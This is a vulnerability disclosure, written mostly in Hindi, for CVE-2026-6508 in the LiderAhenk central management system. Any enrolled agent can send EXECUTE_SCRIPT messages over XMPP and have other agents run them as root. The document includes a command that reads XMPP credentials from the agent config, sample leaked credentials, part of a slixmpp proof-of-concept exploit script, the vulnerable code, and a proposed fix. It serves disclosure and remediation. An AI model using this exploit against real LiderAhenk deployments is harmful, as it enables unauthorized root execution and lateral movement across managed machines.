
CVE-2026-6508 LiderAhenk Merkezi Yönetim Sistemi आर्किटेक्चर में, एजेंटों के बीच सभी क्लाइंट को एक-दूसरे पर 'root' अधिकारों के साथ कोड निष्पादित करने (unauthorized rce & lateral movement) की अनुमति देने वाली एक गंभीर सुरक्षा कमजोरी।
EvilAhenk, LiderAhenk केंद्रीय प्रबंधन प्रणाली आर्किटेक्चर में एक महत्वपूर्ण सुरक्षा भेद्यता है जो अंतिम इकाइयों (agents) के बीच सभी क्लाइंट्स को एक-दूसरे पर 'root' विशेषाधिकार के साथ कोड निष्पादित करने की अनुमति देती है (अनधिकृत RCE और पार्श्व गति)।
LiderAhenk में प्रबंधन पैनल/केंद्रीय सर्वर, XMPP के माध्यम से क्लाइंट्स को कार्य और नीति संदेश भेजता है।
ahenk एजेंट भी उसी XMPP अवसंरचना से जुड़ते हैं,EXECUTE_POLICY, EXECUTE_TASK या EXECUTE_SCRIPT जैसे संदेश भेजता हैअर्थात, XMPP यहां प्रबंधन ट्रैफ़िक का परिवहन चैनल है। केंद्रीय पैनल के आदेश सामान्यतः इस चैनल के माध्यम से क्लाइंट्स तक जाते हैं।
अपेक्षित प्रवाह:
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
भेद्य प्रवाह:
ct-2, उसी XMPP सर्वर से जुड़ा एक वैध क्लाइंट हैct-2, ct-1 के JID को लक्षित करके XMPP सर्वर के माध्यम से EXECUTE_SCRIPT संदेश भेजता हैct-1 तक पहुंचाता हैct-1, यह जांचे बिना कि संदेश वास्तव में lider_sunucu से आया है या नहीं, कमांड निष्पादित करता हैahenk.service root के रूप में चलता हैct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
हम XMPP परत को हैक नहीं कर रहे हैं। XMPP सर्वर सामान्य संदेश रूटिंग कर रहा है। समस्या यह है कि ct-1 ओर का Ahenk एजेंट यह जांच नहीं करता कि आने वाला संदेश वास्तव में अधिकृत प्रबंधन खाते से आया है या नहीं।
pip install slixmpp
एक समझौता किए गए और केंद्रीय प्रबंधन प्रणाली से जुड़े क्लाइंट से निम्नलिखित जानकारी एकत्र की जाती है:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
नमूना आउटपुट;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
हम प्राप्त जानकारी के अनुसार Main.py फ़ाइल को अपडेट करते हैं, im.liderahenk.org डोमेन, pardus-ct-1 लक्ष्य uid
[email protected]e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401192.168.100.135222[email protected]पीड़ित मशीन पर चलाया जाने वाला कमांड COMMAND वेरिएबल को बदलकर संशोधित किया जा सकता है।
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
repos/ahenk/src/base/messaging/messenger.py में आने वाले संदेश को केवल type फ़ील्ड के आधार पर संसाधित किया जाता है। msg['from'] के लिए अधिकृत प्रेषक की कोई जाँच नहीं है:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
repos/ahenk/src/base/execution/execution_manager.py में, EXECUTE_SCRIPT सीधे कमांड निष्पादन की ओर जाता है:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
इन दो भागों के संयोजन का प्रभाव इस प्रकार है:
EXECUTE_SCRIPT घटना को ट्रिगर करता हैसंभावित डिज़ाइन सुधार;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))